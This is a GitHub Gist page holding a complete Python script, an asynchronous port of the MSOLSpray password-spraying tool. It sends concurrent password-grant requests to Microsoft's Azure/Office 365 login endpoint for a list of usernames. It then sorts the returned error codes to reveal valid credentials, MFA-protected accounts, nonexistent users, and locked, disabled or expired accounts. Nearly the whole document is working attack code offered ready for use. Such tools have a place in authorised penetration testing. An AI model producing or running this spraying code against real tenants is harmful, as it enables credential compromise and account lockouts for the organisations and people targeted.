-
-
Save marginaldeer/a75f252c019be841ca59910430f04646 to your computer and use it in GitHub Desktop.
Fully async python port of @dafthacks MSOLSpray (https://github.com/dafthack/MSOLSpray)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/env python3 | |
# | |
# Requires Python 3.7+ & aiohttp (speedups recommended) | |
# pip3 install aiohttp[speedups] | |
# | |
import sys | |
import asyncio | |
import aiohttp | |
import logging | |
import pathlib | |
import contextvars | |
handler = logging.StreamHandler() | |
handler.setFormatter( | |
logging.Formatter("[%(levelname)s] %(message)s") | |
) | |
log = logging.getLogger("msolspray") | |
log.setLevel(logging.DEBUG) | |
log.addHandler(handler) | |
task_username = contextvars.ContextVar('username') | |
old_factory = logging.getLogRecordFactory() | |
def new_factory(*args, **kwargs): | |
record = old_factory(*args, **kwargs) | |
username = task_username.get(None) | |
if username: | |
record.msg = f"{username:<30} - {record.msg}" | |
return record | |
logging.setLogRecordFactory(new_factory) | |
async def spray(session: aiohttp.ClientSession, sem: asyncio.BoundedSemaphore, username: str, password: str) -> None: | |
async with sem: | |
task_username.set(username) | |
data = { | |
'resource': 'https://graph.windows.net', | |
'client_id': '1b730954-1685-4b74-9bfd-dac224a7b894', | |
'client_info': '1', | |
'grant_type': 'password', | |
'username': username, | |
'password': password, | |
'scope': 'openid' | |
} | |
headers = { | |
'Accept': 'application/json', | |
'Content-Type': 'application/x-www-form-urlencoded' | |
} | |
async with session.post("https://login.microsoft.com/common/oauth2/token", headers=headers, data=data) as r: | |
if r.status == 200: | |
log.debug(f"Found valid account {username} / {password}.") | |
return | |
else: | |
msg = await r.json() | |
#log.debug(beutify_json(msg)) | |
#log.debug(f"Error: {error}") | |
error = msg['error_description'].split('\r\n')[0] | |
if "AADSTS50126" in error: | |
log.debug("Invalid password.") | |
elif "AADSTS50128" in error or "AADSTS50059" in error: | |
log.debug("Tenant for account doesn't exist. Check the domain to make sure they are using Azure/O365 services.") | |
elif "AADSTS50034" in error: | |
log.debug("The user doesn't exist.") | |
elif "AADSTS50079" in error or "AADSTS50076" in error: | |
log.debug("Credential valid however the response indicates MFA (Microsoft) is in use.") | |
elif "AADSTS50158" in error: | |
log.debug("Credential valid however the response indicates conditional access (MFA: DUO or other) is in use.") | |
elif "AADSTS50053" in error: | |
log.debug("The account appears to be locked.") | |
elif "AADSTS50057" in error: | |
log.debug("The account appears to be disabled.") | |
elif "AADSTS50055" in error: | |
log.debug("Credential valid however the user's password is expired.") | |
else: | |
log.debug(f"Got unknown error: {error}") | |
async def username_generator(usernames: str): | |
path = pathlib.Path(usernames) | |
if path.exists(): | |
usernames = open(path.expanduser()) | |
else: | |
usernames = sys.argv[1].split(',') | |
try: | |
for user in usernames: | |
yield user.rstrip('\n') | |
finally: | |
if path.exists(): | |
usernames.close() | |
async def main(usernames: str, password: str, threads: int = 25) -> None: | |
connector = aiohttp.TCPConnector(ssl=False) | |
async with aiohttp.ClientSession( | |
connector=connector, | |
cookie_jar=aiohttp.DummyCookieJar(), | |
trust_env=True | |
) as session: | |
sem = asyncio.BoundedSemaphore(value=threads) | |
tasks = [asyncio.create_task(spray(session, sem, user, password)) async for user in username_generator(usernames)] | |
await asyncio.gather(*tasks) | |
if __name__ == '__main__': | |
threads = 25 | |
if len(sys.argv) < 3: | |
print(f"Usage: {__file__} <usernames> <password> [<threads>]") | |
else: | |
asyncio.run( | |
main( | |
sys.argv[1], | |
sys.argv[2], | |
threads | |
) | |
) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment